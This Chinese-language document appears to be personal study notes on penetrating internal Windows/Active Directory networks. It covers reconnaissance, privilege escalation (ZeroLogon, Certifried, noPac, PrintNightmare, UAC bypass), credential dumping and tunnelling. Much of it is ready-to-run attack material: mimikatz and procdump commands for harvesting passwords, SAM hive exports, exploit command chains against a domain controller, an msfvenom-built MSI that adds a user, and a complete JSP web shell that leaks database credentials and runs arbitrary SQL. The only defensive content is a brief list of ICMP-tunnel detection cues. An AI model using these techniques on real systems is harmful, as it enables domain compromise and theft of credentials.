技术内容 / 本科的一些学习笔记和wp / 内网
内网
内网渗透流程
1、信息搜集
判断是否在域内:
1.判断是否在域内
ipconfig /all 查看网卡信息,主DNS后缀是否是域名
2.查看系统详细信息
systeminfo
3.查看当前登录域及域⽤户
net config workstation 通过工作站域判断是否在域
4.查看域内时间(3种情况)
net time /domain (1存在域,当前⽤户不是域⽤户:拒绝访问 2存在域、当前⽤户是域⽤户:返回时间 3不存在域:找不到域)
本机信息搜集:
1.查看网卡信息
ipconfig /all
2.查询操作系统和版本
systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本" (以便针对性地搜集exp提权)
3.查看系统体系结构
echo %PROCESSOR_ARCHITECTURE% (考虑使用工具的兼容性问题)
4.查询本机服务信息
wmic service list brief
5.进程
tasklist /v (/v查看进程列表对应的⽤户身份,以及是否有杀软)
6.查看主机开机时间
net statistics workstation
7.查看用户以及当前在线用户
net user 、query user || qwinsta
8.查看开放端口
netstat -ano
9.查看内网中其他主机ip地址:(主机禁止了工具扫描)
arp -a
route print
cmd窗口执行:for /L %i IN (1,1,254) DO ping -w 2 -n 1 192.168.0.%i
net session(列出当前主机连接的会话)
net view查看当前内网计算机名--ping 计算机名
hosts 查看配置文件
查看浏览器访问记录
10.获取用户凭证
reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save
保存到本地mimikataz抓哈希
域内信息搜集:
1.获取SID
whoami /all
2.查询域内用户
net user /domain
3.查询域列表
net view /domain(如果有多个域)
4.查询域管理员列表
net group "domain admins" /domain
5.查看域内时间
net time /domain(可以获取时间服务器名称,一般时间服务器就是域控,通过ping获取域控ip)
6.查看登陆本机的域管理员
net localgroup administrators /domain(可进一步伪造令牌等操作)
7.查看主域控
netdom query pdc
8.查询域密码信息
net accounts /domain(可以知道当前域⽤户多久修改⼀次密码,密码策略是多少)
可以使用BloodHound进行域内环境分析,可图形化导出详细网络拓扑,寻找域管的最短路径等等
9.获取域用户凭证
mimikataz、cs、msf
查找rdp端口:(可能存在rdp端口不为3389的情况)
第一种方法:
1、首先查看服务,RDP服务名为TermService,寻找PID
tasklist /svc
2、根据PID找端口
netstat -ano | findstr PID
第二种方法:
通过注册表查询
reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\TerminalServer\WinStations\RDP-TCP" /V PortNumber
进入内网机器找数据快速寻找mysql:
可能会存在数据库不好找的情况,慢慢寻找会耗费很多时间,把下面脚本改为.jsp然后web端访问,可遍历该机器所有服务,并执行mysql登录语句
9089B455-944E-4f...AF87.txt11.6KB预览
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="org.springframework.context.ApplicationContext" %>
<%@ page import="org.springframework.web.context.support.WebApplicationContextUtils" %>
<%@ page import="javax.sql.DataSource" %>
<%@ page import="java.sql.Connection" %>
<%@ page import="java.sql.PreparedStatement" %>
<%@ page import="java.sql.ResultSet" %>
<%@ page import="java.sql.ResultSetMetaData" %>
<%@ page import="java.util.List" %>
<%@ page import="java.util.ArrayList" %>
<%@ page import="java.lang.reflect.InvocationTargetException" %>
<style>
th, td {
border: 1px solid #C1DAD7;
font-size: 12px;
padding: 6px;
color: #4f6b72;
}
</style>
<%!
// C3PO数据源类
private static final String C3P0_CLASS_NAME = "com.mchange.v2.c3p0.ComboPooledDataSource";
// DBCP数据源类
private static final String DBCP_CLASS_NAME = "org.apache.commons.dbcp.BasicDataSource";
//Druid数据源类
private static final String DRUID_CLASS_NAME = "com.alibaba.druid.pool.DruidDataSource";
/**
* 获取所有Spring管理的数据源
* @param ctx Spring上下文
* @return 数据源数组
*/
List<DataSource> getDataSources(ApplicationContext ctx) {
List<DataSource> dataSourceList = new ArrayList<DataSource>();
String[] beanNames = ctx.getBeanDefinitionNames();
for (String beanName : beanNames) {
Object object = ctx.getBean(beanName);
if (object instanceof DataSource) {
dataSourceList.add((DataSource) object);
}
}
return dataSourceList;
}
/**
* 打印Spring的数据源配置信息,当前只支持DBCP/C3P0/Druid数据源类
* @param ctx Spring上下文对象
* @return 数据源配置字符串
* @throws ClassNotFoundException 数据源类未找到异常
* @throws NoSuchMethodException 反射调用时方法没找到异常
* @throws InvocationTargetException 反射调用异常
* @throws IllegalAccessException 反射调用时不正确的访问异常
*/
String printDataSourceConfig(ApplicationContext ctx) throws ClassNotFoundException,
NoSuchMethodException, InvocationTargetException, IllegalAccessException {
List<DataSource> dataSourceList = getDataSources(ctx);
for (DataSource dataSource : dataSourceList) {
String className = dataSource.getClass().getName();
String url = null;
String UserName = null;
String PassWord = null;
if (C3P0_CLASS_NAME.equals(className)) {
Class clazz = Class.forName(C3P0_CLASS_NAME);
url = (String) clazz.getMethod("getJdbcUrl").invoke(dataSource);
UserName = (String) clazz.getMethod("getUser").invoke(dataSource);
PassWord = (String) clazz.getMethod("getPassword").invoke(dataSource);
} else if (DBCP_CLASS_NAME.equals(className)) {
Class clazz = Class.forName(DBCP_CLASS_NAME);
url = (String) clazz.getMethod("getUrl").invoke(dataSource);
UserName = (String) clazz.getMethod("getUsername").invoke(dataSource);
PassWord = (String) clazz.getMethod("getPassword").invoke(dataSource);
} else if (DRUID_CLASS_NAME.equals(className)) {
Class clazz = Class.forName(DRUID_CLASS_NAME);
url = (String) clazz.getMethod("getUrl").invoke(dataSource);
UserName = (String) clazz.getMethod("getUsername").invoke(dataSource);
PassWord = (String) clazz.getMethod("getPassword").invoke(dataSource);
}
return "URL:" + url + "<br/>UserName:" + UserName + "<br/>PassWord:" + PassWord + "<br/>";
}
return null;
}
%>
<%
String sql = request.getParameter("sql");// 定义需要执行的SQL语句
// 获取Spring的ApplicationContext对象
ApplicationContext ctx = WebApplicationContextUtils.getWebApplicationContext(pageContext.getServletContext());
// 获取Spring中所有的数据源对象
List<DataSource> dataSourceList = getDataSources(ctx);
// 检查是否获取到了数据源
if (dataSourceList == null) {
out.println("未找到任何数据源配置信息!");
return;
}
out.println("<hr/>");
out.println("Spring DataSource配置信息获取测试:");
out.println("<hr/>");
out.print(printDataSourceConfig(ctx));
out.println("<hr/>");
// 定义需要查询的SQL语句
sql = sql != null ? sql : "select version()";
for (DataSource dataSource : dataSourceList) {
out.println("<hr/>");
out.println("SQL语句:<font color='red'>" + sql + "</font>");
out.println("<hr/>");
//从数据源中获取数据库连接对象
Connection connection = dataSource.getConnection();
// 创建预编译查询对象
PreparedStatement pstt = connection.prepareStatement(sql);
// 执行查询并获取查询结果对象
ResultSet rs = pstt.executeQuery();
out.println("<table><tr>");
// 获取查询结果的元数据对象
ResultSetMetaData metaData = rs.getMetaData();
// 从元数据中获取字段信息
for (int i = 1; i <= metaData.getColumnCount(); i++) {
out.println("<th>" + metaData.getColumnName(i) + "(" + metaData.getColumnTypeName(i) + ")\t" + "</th>");
}
out.println("<tr/>");
// 获取JDBC查询结果
while (rs.next()) {
out.println("<tr>");
for (int i = 1; i <= metaData.getColumnCount(); i++) {
out.println("<td>" + rs.getObject(metaData.getColumnName(i)) + "</td>");
}
out.println("<tr/>");
}
rs.close();
pstt.close();
}
%>
2、提权
寻找系统潜在漏洞:
1、
systeminfo看补丁
2、
借助工具WES-NG
python3 wes.py systeminfo.txt --impact "指定漏洞类型"
漏洞提权:
1、
CVE-2020-0787:Windows背景智能传输服务(BITS)没有正确处理符号链接时,存在特权提升漏洞。
1.寻找机器是否打补丁KB4540673
systeminfo | findstr KB4540673
2.运行exp弹出system权限的cmd
2、
MS16-032:以⼀个普通⽤户的身份,去添加⼀个administrator管理员组的⽤户,还可以以 SYSEM 系统权限的身份去运⾏⼀个程序。
影响版本:Windows 7
Windows 10
Windows 2008 Server
Windows 2012 Server
3、
MS16-135(Ladon提权):Windows 内核模式驱动程序无法正确处理内存中对象,则会存在多个特权提升漏洞。成功利用此漏洞的攻击者可以在内核模式下运行任意代码。攻击者可随后安装程序;查看、更改或删除数据;或者创建拥有完全用户权限的新帐户。
影响版本:Windows 7
Windows 8
Windows 10
Windows 2008 Server
Windows 2012 Server
Windows 2016 Server
4、
mof提权:利用了c:/windows/system32/wbem/mof/目录下的 nullevt.mof 文件,每分钟都会在一个特定的时间去执行一次的特性,来写入我们的cmd命令使其被带入执行。
5、
pkexec 提权漏洞(CVE-2021-4034)
https://blog.csdn.net/qq_41252520/article/details/123030682
6、
windows uac提权(CVE-2019-1388)
7、
sudo提权(CVE-2019-14287)
sudo -V检查sudo版本是否低于1.8.29
8、HiveNightmare(CVE-2021-36934)
原理:在Windows中SAM 文件用来存储敏感的安全信息,例如散列的用户和管理员密码。由于Windows 10 和 11 系统上的安全帐户管理器 (SAM) 文件已对本地所有用户启用 READ。 READ 启用意味着在系统上有普通账号权限的攻击者可以使用此与安全相关的信息来提升权限或访问目标环境中的其他数据。
检测有无漏洞:
cmd运行该命令是否输出BUILTIN\Users:(I)(RX)
icacls C:\windows\system32\config\sam
exp利用过程分析:
1.检查sam、system及security几个文件是否具有可读属性
2.创建FileReader句柄读取sam、system、security相关内容,内容是LSA加密的
3.解密sam、system、security几个文件
4.使用impacket项目里的secretsdump.py解密所有哈希
5.可进行哈希传递或者psexec获取高权限会话窗口
域控漏洞:
一、ZeroLogon(CVE-2020-1472)
攻击者通过 NetLogon,建⽴与域控间易受攻 击的安全通道时,可利⽤此漏洞获取域管访问权限;其漏洞原理是发⽣在 RPC 认证过程的过程中,由于错误的使⽤了 AES-CFB8 加密所导致漏洞成因,该漏洞适⽤于 Win2008 后的所有版本。
1、⾸先利⽤ cve-2020-1472-poc.py 检测 DC(ad-2012) 是否存在该漏洞:
python cve-2020-1472-poc.py ad-2012 10.0.0.12
返回 Success,说明 DC 漏洞存在!
2、使⽤ exploit 漏洞脚本将域控机器账号重置:
python cve-2020-1472-exploit.py ad-2012 10.0.0.12
3、之后使⽤ DCSync 导出域内所有⽤户的凭证:(注意有四个空格)
python secretsdump.py saulgoodman.cn/ad-2012$@10.0.0.12 -no-pass
这个时候我们得到了域管的 Hash
Administrator:500:aad3b435b51404eeaad3b435b51404ee:ccef208c6485269c20db2cad21734fe7: ::
4、然后再通过 wmic hash 传递:
python wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee
saulgoodman.cn/Administrator@10.0.0.125、然后通过导出 sam system 等⽂件到本地,获取域控机器上本地保存之前的 hash 值⽤于恢复,不然就脱域 了
reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save
get system.save
get sam.save
get security.save
下载完后记得删除⽂件:
del /f system.save
del /f sam.save
del /f security.save
6、之后通过 sam.save、security.save、system.save 这些⽂件获得原来域控机器上的 Ntlm Hash 值,⽤于恢复密码
python secretsdump.py -sam sam.save -system system.save -security security.save LOCAL
7、通过拿到 $MACHINE.ACC: 的值,然后进⾏恢复
$MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee
注意只有后半部分: 9c786d87f82b46071818e5bda3a9faab
python reinstall_original_pw.py ad-2012 10.0.0.12 9c786d87f82b46071818e5bda3a9faab
8、这个时候你还可以使⽤脚本来检测是否恢复密码成功:(注意有四个空格)
python secretsdump.py saulgoodman.cn/ad-2012$@10.0.0.12 -no-pass
此时已⽆法获取到域内所有⽤户凭证 hash,⾄此恢复成功。
在实战环境中,由于会把域控机器的账户和密码清空,所以有可能会导致域内出问题,可能导致某些服务⽆法正常 运⾏,严重会造成脱域等情况,请谨慎利⽤!
注意的问题:
脱域之后,因为备用域的存在,普通域用户还是可以使用域账号登录的,域控不能登录
二、Print Spooler打印机提权
打印机端口:
LPT1、USB端口、网络端口和文件。如果将端口设置成文件路径,会将数据打印到指定文件。
原理:在标准用户权限下,如果端口文件指向一个受保护的系统目录,由于没有权限,打印机会作业失败,为了应对这种中断和异常,引入假脱机打印机制,在重启后会使用system权限恢复未执行的打印作业。所以可以通过写入二进制文件提权或者写入dll进行dll劫持。
1、PrintDemon(CVE-2020-1048)
(1)MSF生成exe并base64编码
(2)导入公开poc,执行
Invoke-PrintDemo -PrinterName "创建打印机的名称" -Portname "指定文件目录" -Base64code 编码后的payload
(3)msf设置监听,反弹system会话
2、PrintNightmare
原理:通过该漏洞绕过PfcAddPrinterDriver的安全验证,并在打印服务器中安装恶意的驱动程序。若攻击者所控制的用户在域中,则攻击者可以连接到DC中的Spooler服务,并利用该漏洞在DC中安装恶意的驱动程序,完整的控制整个域环境。
所需环境:
- 一个普通权限的域账户
- 目标开启Spooler服务
- 创建的smb服务允许匿名访问,即目标可以直接获取到文件
三、Nopac提权
CVE-2021-42278
机器账户的名字应该以$结尾,即sAMAccountName属性,但ADCS没对机器账户名进行验证,导致存在绕过。配合CVE-2021-42287漏洞可以模拟域控制器机器账户,接管域控。该组合漏洞也可称作sAMAccountName spoofing
CVE-2021-42287
使用TGT申请ST时,当kdc未找到TGT对应的账户名时,KDC会再次在目录自动搜索,并搜索结尾的机器账户。如果创建与DC机器账户名字相同的机器账户(不以结尾),账户请求一个TGT后,更名账户,然后通过约束委派协议S4U2self申请TGS Ticket。接着DC在TGS_REP阶段,这个账户不存在的时候,DC会使用自己的密钥加密TGS Ticket,提供一个属于该账户的PAC,然后我们就得到具有域控权限的st。
说白了就是:如果获得了 DC 用户的 TGT 票据且域内有一台名为 DC$ 域控,再将 DC 用户删除,此时使用该 TGT 去请求 s4u2self,如果域控制器帐户 DC$ 存在,那么 DC 就能获得域控制器帐户(机器用户DC$)的 ST 票证。
攻击流程:
1.使用普通域用户创建机器账户,并清除该机器账户的spn。默认普通域用户可以创建10个机器账户,MachineAccountQuota默认为10;
2.将机器账户的sAMAccountName属性改为DC的机器账户名字,注意不包含$符;
3.使用Rubeus为机器账户请求生成TGT;
4.将机器账户的sAMAccountName属性修改为其他名字,不与dc机器名字重复;
5.使用Rubeus工具,通过S4U2self委派协议向DC请求TGS票据,也就是委派给dc去请求kdc发起认证,生成st;
四、Certifried域内提权(ADCS提权)
活动目录证书注册流程
- 1)客户端生成一对公、私钥。
- 2)客户端生成证书签名请求(CSR,CertificateSigningRequest),里面包含客户端生成的公钥以及请求的证书模板、请求的主体等信息。整个CSR用客户端的私钥签名,发送给CA。
- 3)CA收到请求后,从中取出公钥对CSR进行签名校验。校验通过后判断客户端请求的证书模板是否存在,如果存在,根据证书模板中的属性判断请求的主体是否有权限申请该证书。如果有权限,则还要根据其他属性,如:发布要求、使用者名称、扩展来生成证书。
- 4)CA使用其私钥签名生成的证书并发送给客户端。
- 5)客户端存储该证书在系统中。
信息枚举
是否存在域和ADCS,并且获取CA和对应IP
net config workstation
nslookup -type=srv _ldap._tcp.dc._msdcs.FQDN
certutil -CA
nslookup DNSName
CVE-2022–26923
简介:该漏洞允许低权限用户在安装了 Active Directory 证书服务 (AD CS) 服务器角色的默认 Active Directory 环境中将权限提升到域管理员。在默认安装的ADCS里就启用了Machine模板。
漏洞原理:
在域内,域用户和机器账户都可以注册用户证书模板。
当域用户没有设置userPrincipalName(UPN-用户主体名称)属性时,ADCS服务器是根据请求用户的sAMAccountName属性来生成对应用户证书的。例如用户的sAMAccountName属性属性为cccc,则证书中插入对应的主体名称为cccc@xie.com。
当域用户设置了userPrincipalName属性时,ADCS服务器是根据userPrincipalName属性的值来生成对应用户证书的,此时证书的生成跟sAMAccountName属性无关。例如用户的userPrincipalName属性为aaaa@xie.com,则证书中插入对应的主体名称为aaaa@xie.com。
但是域内userPrincipalName属性是唯一的。
计算机账户是没有UPN属性的,当机器账户申请证书时,会把DNS属性存放进证书。
当机器用户没有设置dNSHostName属性时,ADCS服务器无法判断请求机器的身份,因此无法生成证书。如实验一所示。
当机器用户设置dNSHostName了属性时,ADCS服务器是根据dNSHostName属性的值来生成对应机器证书的。
在整个ADCS服务器生成机器证书的过程中,只有dNSHostName属性影响ADCS服务器生成对应机器的证书。并且在域内dNSHostName属性并不具有唯一性。因此可以利用普通域用户创建机器用户,然后修改该机器用户的dNSHostName属性为域控,利用域控机器账号的DCSync权限导出域内任意用户哈希。
但是在实际操作中还需要注意一个问题。dNSHosName属性与servicePrincipalName属性相关联。如果修改PENTEST$账户的dNSHostName属性值,那么PENTEST$账户的servicePrincipalName属性中默认的RestrictedKrbHost/PENTEST.hack-my.com 和HOSTIPENTEST.hack-my.com这两条SPN将使用新的DNS主机名更新。由于在该漏洞中需要将PENTEST$账户的dNSHostName属性值改为DC-1 .hack-my.com,那么这两条SPN将自动更新为RestrictedKrbHost/DC- 1.hack my.com和HOST/DC-1.hack-my.com,这两条SPN已被域控制器的servicePrincipalName属性独占。根据“MS-ADTS (3.1.1.5.1.3 UniquenessConstraints)”文档所述,servicPrincipalName 属性具有唯一性,所以将与DC-ISservicePrincipalName属性引发约束冲突。
因此,在修改dNSHostName属性时需要预先删除PENTESTS账户中包含dNSHosNan的servicePrincipalIName属性值。可以修改impacket中的addcomputer.py脚本,将dNSHostName修改为域控DNS,并删除包含dNSHostName的servicePrincipalName属性值。
漏洞复现流程
定位证书服务器
域内
在域内的话,可以执行如下命令定位证书服务器,此命令会弹窗。
certutil -config - -ping
或者下面的命令,不弹框定位
certutil -dump -v
记住这两个值xie-CA-SERVER-CA和CA-Server.xie.com。
域外
在域外的话,可以利用certipy工具执行如下命令定位证书服务器。
certipy find "xie.com/test
@ss1234@10.211.55.4" -debug执行完成后会在当前目录生成对应的txt、json和zip文件。我们注意到执行结果中会去联系8.212.24.67这个机器的445,并且提示连接超时。这是因为我们的机器在解析DNS Name的时候,解析到了这个ip。因为我们机器并没有配置hosts,也没有将DNS设置为域控。因此此时将这个DNS解析到了公网的地址。但是这个不影响。查看txt和json文件,找到最主要的两个值:CA Name和DNS Name。这两个值我们后续需要用到。
从图中可以看到CA Name和DNS Name分别为xie-CA-SERVER-CA和CA-Server.xie.com。
也可以将.zip文件导入BloodHound中进行分析。
不管是在域内还是域外得到了CA服务器的DNS Name后,需要将其解析为ip,然后添加到攻击机的hosts文件中。如下:
10.211.55.8 CA-Server.xie.com
创建机器用户
执行如下命令使用certipy利用ldaps远程创建machine机器用户,并且设置其dnsHostname为DC01.xie.com。
certipy account create "xie.com/test
@ss1234@DC01.xie.com" -dc-ip 10.211.55.4 -user "machine" -dns 'DC01.xie.com' -debug如图可以看到创建成功,其密码为680dXJBlJ6vy9ycN。
注:有很多创建机器用户的方式,需要注意的是,当使用SAMR协议创建机器用户时,机器用户默认没有dnsHostName属性和UPN属性。
请求证书
执行如下命令使用certipy以machine$身份请求一个Machine类型的证书。
certipy req -dc-ip 10.211.55.4 "xie.com/machine$
@CA-Server.xie.com" -ca xie-CA-SERVER-CA -template Machine -debug如图可以看到成功生成dc01.pfx证书文件。
认证获得域控hash
执行如下命令使用dc01.pfx进行认证。
certipy auth -pfx dc01.pfx -dc-ip 10.211.55.4 -debug
如图可以看到得到域控DC01的机器账号哈希为5f8506740ed68996ffd4e5cf80cb5174
导出域内任意用户哈希
使用DC01机器账号认证导出域内任意用户哈希。
python3 secretsdump.py -hashes 5f8506740ed68996ffd4e5cf80cb5174
"xie/DC01\$@10.211.55.4" -just-dc-user administratorESC1
ESC8
https://xz.aliyun.com/t/11627#toc-2
主动触发中继
1.使用 Ex 提供的impacket 进行relay
项目地址:https://github.com/ExAndroidDev/impacket/tree/ntlmrelayx-adcs-attack
2.使用 Petitpotam 进行 强制认证
项目地址:https://github.com/topotam/PetitPotam/blob/main/Petitpotam.py
**五、**滥用DNSAdmins权限
通过DnsAdmins组成员操作域控DNS服务加载恶意DLL
- NET-R-VM-DHCP01机器中登过DnsAdmins组的成员(PA-c.tong.wang),抓取Hash:abc200d757060a100091fdb934ec3239
-
通过内网控制的服务器开启一个匿名的SMB服务
-
DLL可利用mimikatz中的mimilib.dll
- 利用PA-c.tong.wang账户远程设置域控的serverlevelplugindll,命令如下
dnscmd 10.36.32.1 /config /serverlevelplugindll \\smb_server\dnstest.dll
- 设置完成之后,远程重启DNS服务
dnscmd 10.36.32.1 /restart
-
重启完成之后会自动加载恶意DLL,从而达到在域控执行任意操作
-
本地复现测试截图
补丁修复后无法远程启动DNS服务
第三方组件提权:
1、
sqlserver提权
https://blog.csdn.net/q20010619/article/details/121447014?spm=1001.2014.3001.5501
2、
zend nc提权、Zend反弹shell提权
https://blog.csdn.net/q20010619/article/details/121460314?spm=1001.2014.3001.5501
3、
udf提权:
https://blog.csdn.net/qq_36119192/article/details/84863268
原理:UDF(user defined function)⽤户⾃定义函数,是 mysql 的⼀个拓展接⼝。⽤户可以通过⾃定义函数实现在 mysql 中⽆法⽅便实现的功能,其添加的新函数都可以在 sql 语句中调⽤,就像调⽤本机函数⼀样。
提权条件:
1.如果 mysql 版本 ⼤于5.1 , udf.dll ⽂件必须放置在 mysql 安装⽬录的 lib\plugin ⽂件夹下。 如果 mysql 版本 ⼩于5.1 , udf.dll ⽂件在 windows server 2003 下放置于 c:\windows\system32 ⽬录,在 windows server 2000 下放置在 c:\winnt\system32 ⽬录。
2.已经掌握的这个mysql数据库的账号,需要有mysql的操作权限(插入、删除),即我们需要获得mysql的root权限账号
3.有可以将udf.dll写入到相应目录的权限
Linux环境下的udf提权除利用条件外与Windows环境下完全相同,linux因为文件夹权限限制较大,除了windows的条件还需要plugin目录的写入权限。
总结:
1、Windows环境下通过udf提权可以获取至system权限。
2、Linux系统通过udf提权只可以获取到mysql用户权限,需进行二次提权。
4、
MSF提权
https://blog.csdn.net/q20010619/article/details/121478686?spm=1001.2014.3001.5501
5、
mof提权
https://blog.csdn.net/m0_47418965/article/details/123171289
6、
Linux_Cron_Jobs提权
http://kryst4l.cn/2021/11/21/Linux_Cron_Jobs%E6%8F%90%E6%9D%83/
令牌窃取与伪造:
1、
msf、incognito.exe、cs令牌伪造
2、
土豆家族
https://jishuin.proginn.com/p/763bfbd6de45
烂土豆(ms16-075):
原理:
- 欺骗 “NT AUTHORITY\SYSTEM”账户通过NTLM认证到我们控制的TCP终端。
- 对这个认证过程使用中间人攻击(NTLM重放),为“NT AUTHORITY\SYSTEM”账户本地协商一个安全令牌。这个过程是通过一系列的Windows API调用实现的。
- 模仿这个令牌。只有具有“模仿安全令牌权限”的账户才能去模仿别人的令牌。一般大多数的服务型账户(IIS、MSSQL等)有这个权限,大多数用户级的账户没有这个权限。
- 不能用于域用户
pipePotato:
一种新型的通用提权漏洞,PrintSpoofer是一个利用打印机PIPE提权的方法,国人写了个工具叫BadPotato。
SweetPotato:
SweetPotato集成了原版Potato和JulyPotato的功能,包含DCOM/WINRM/PrintSpoofer方法获取SYSTEM。
bypass uac:
https://www.anquanke.com/post/id/216808
1、UAC白名单
白名单检测工具:
Sigcheck(-m参数检测单一exe)、Strings(-s参数检测目录下所有)
原理:
一些系统程序是白名单,不需要uac判断,比如ComputerDefaults.exe(默认应用),该程序在system32目录之下。白名程序都有一个特性,就是Manifest数据中autoElevate属性的值为True。
程序运行时用进程监控器Process Monitor监控ComputerDefaults.exe,它会先查询注册表HKCU\Software\Classes\ms-settings\shell\open\command中的数据,如果该路径不存在,会继续查询HKCU\ms-settings\Shell\Open\Command\DelegateExecute中的数据并读取。
通常,以shell\open\command命名的注册表中存储的是可执行文件的路径,因为是白名单程序,所以运行时默认提升权限。
执行命令:
reg add "HKCU\Software\Classes\ms-settings\shell\open\command" /d "C:\Windows\System32\cmd.exe" /f
reg add "HKCU\Software\Classes\ms-settings\shell\open\command" /v DelegateExecute /t REG_SZ /d "C:\Windows\System32\cmd.exe" /f
在该注册表中将要执行的攻击载荷路径分别写入"默认值"和"DelegateExecute"值,再次执行ComputerDefaults.exe,恶意程序也会跟随提权运行。
2、Dll劫持
在程序加载dll的时候,如果没有指定dll的绝对路径,会以特定的顺序进行搜索:
程序安装目录->系统目录(C:\Windows\System32)->16位系统目录(C:\Windows\System)->Windows目录(C:\Windows)->当前工作目录->PATH环境变量中列出的目录。如果把恶意dll放在合法dll文件所在路径之前的搜索位置,恶意dll会替代合法dll执行。
3、模拟可信任目录
当请求提权时,会检查白名单程序的Manifest数据中autoElevate属性的值为True,并且会检查可执行文件的签名,所以Manifest数据中autoElevate属性不能被伪造,然后还会检查可执行文件是否在系统可信任目录中,如C:\Windows\System32,这三个条件全部通过,则可提升权限。
在检查可执行文件是否在系统可信任目录时,会自动去掉文件路径中的空格。如果位于C:\Windows \System32(windows后有一个空格),系统检查时会自动去除空格。
所以我们可以根据可信任目录来创建一个包含尾随空格的模拟可信任目录,将一个白名单程序复制到模拟可信任目录中,然后结合dll劫持绕过uac。
4、利用工具:UACME、MSF
系统服务提权:
1、不安全的服务权限
(1)使用accesschk工具检查"Authenticated Users"组和"INTERACTIVE"组对系统服务的权限
前者是经过身份验证的用户,后者是交互式用户,都属于user组。
accesschk.exe /accepteula -uwcqv "Authenticated Users" *
枚举主机Authenticated Users组是否具有更改服务配置的权限
(2)找到后替换服务启动是执行的二进制文件为我们的马,当服务再次启动,马会继承系统服务权限
sc config InsproSvc binpath= "cmd.exe /k C:\Users\Public\shell.exe"
(3)重启服务
sc stop 服务名
sc start 服务名
2、服务路径可控
有低权限用户的写入权限,accesschk直接替换二进制文件
系统配置错误:
1、
win对于路径中间有空格,如果没有加引号引用的话可能不往下读或者利用空格作为截断
2、
SUID提权
https://blog.csdn.net/qq_36119192/article/details/84872644
利用linux运行的所有SUID可执行文件,然后用去运行这些文件查看是否可以用root权限运行,如果可以利用Python 反弹shell
MSI安装策略提权
原理:用户在配置MSI安装策略时,启用了永远以高特权进行安装(默认禁用),使任何权限的用户都可以以system权限安装msi
1、确定是否存在漏洞
启用了永远以高特权进行安装,系统注册表会在两个地方键值设为1
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
2、创建恶意msi
msfvenom -p windows/adduser USER=test000 PASSWORD=password123! -f msi -o rotten.msi
3、上传执行meterpretershell
msiexec /quiet /qn /i rotten.msi
3、密码抓取
1.本机密码:
1.在 Windows 系统⾥有⼀个 SAM ⽂件,⾥⾯存着所有本地⽤户的密码 hash,其全称叫做 "Security Account Manager"。SAM ⽂件默认存放于 C:\Windows\System32\config ⽬录下的 SAM ⽂件中
2.mimikataz进行密码抓取
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords full" "exit
3.通过注册表
获取当前系统注册表 SAM、SYSTEM
reg save HKLM\SYSTEM Sys.hiv
reg save HKLM\SAM Sam.hiv
然后把这两个⽂件拖回本地然后⽤ mimikatz 抓取密码hash
mimikatz "lsadump::sam /sam
.hiv /system.hiv" exit4.通过 Procdump 获取 lsass 抓内存中的明⽂密码(不适用win2012及以上版本)
lsass 进程⾥⾯存放了我们登陆的账号密码等信息
⾸先⽤ Procdump 把 lsass 的内存 dump下来
procdump.exe -accepteula -ma lsass.exe lsass.dmp
以把 lsass.dmp ⽂件拖回本地,使⽤ mimikatz 读取密码
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit
5.⾼版本操作获取当前机器上的明⽂密码及hash
⼿⼯修改注册表 + 强制锁屏 + 等待⽬标系统管理员重新登录 = 截取明⽂密码
查看注册表
regedit
默认情况下系统是没有这个项值的
HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential
注册表添加⼀个键和值
reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\ /v UseLogonCredential /t REG_DWORD /d 1
这个时候 UseLogonCredential 的值为就 1 ,当这台机器重启之后我们就可以抓到明⽂密码了
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords full" "exit"
如果这台机器⼀直不关机,我们可以让他锁屏,⽽不是注销!通过⽹上找的 powershell 锁屏脚本直接运⾏即可锁屏,这个时候当管理员登陆系统成功后即可抓到明⽂密码
2.浏览器密码获取
利用现成项目抓取各浏览器对应密码
3.获取各类密码
LaZagne是⽤于开源应⽤程序获取⼤量的密码存储在本地计算机上。
4、横向移动
1、隧道搭建
转发: 转发是渗透中⼀种⼿段,是将⼀个⽹络端⼝从⼀个⽹络节点转发到另⼀个节点的⾏为。结果是使⼀个 外⽹⽤户经过⼀个NAT路由器到达在内⽹IP地址某个端⼝。有时候也被称为隧道。
映射: 映射也是渗透中的⼀种⼿段,端⼝映射就是将外⽹主机的IP地址的⼀个端⼝映射到内⽹中⼀台机器, 提供相应的服务。
代理: 代理是⼀种结果,以端⼝转发和映射为技术基础。代理在很多场合是⽤在连接互联⽹的web服务上 ⾯,起到突破ip封锁,隐匿身份等作⽤。其原理是动态的端⼝转发。只需要本机和代理间建⽴⼀个隧道,然 后代理就可以根据本机发起的请求去动态的获取出链的地址与端⼝。
内⽹穿透: 内⽹穿透是⽬的,它使⽤的⼿段有包括端⼝转发和映射,或者直接使⽤代理这⼀结果。很多时候 我们指的内⽹穿透场景是指攻击机与靶机处于处于不同的内⽹中,⼀些回弹shell之类的⼿段直接实现,因为 IP地址⽆法相互建⽴连接。这个时候就需要使⽤⼀些内⽹穿透常⻅的⼯具。这些⼯具也是使⽤端⼝转发和映 射或类似的⽅法来突破限制。
常用隧道:
应用层: HTTP隧道(reGeorg)、HTTS隧道、DNS隧道(dns2tcp)。
会话层:SSH隧道
网络层: IPv6隧道、ICMP隧道(Pingtunel)、GRE隧道。
传输层: TCP隧道、UDP隧道。 (windows:lcx,linux:portmap)
socks链接:ssh动态转发,通过vps搭建,连接内网
防御ICMP隧道攻击:
1、同时发大量数据包的
2、payload大于64bit的数据包
3、响应包与请求包payload不相同的
4、检查icmp数据包特征协议标签,工具会加TUNL标识隧道
frp多层穿透
https://blog.csdn.net/q20010619/article/details/122071798?spm=1001.2014.3001.5501
内网穿透、端口映射&端口转发、Netsh端口转发、CS正反向连接多层内网、Burp设置上游代理访问内网、MSF protfwd端口转发/重定向
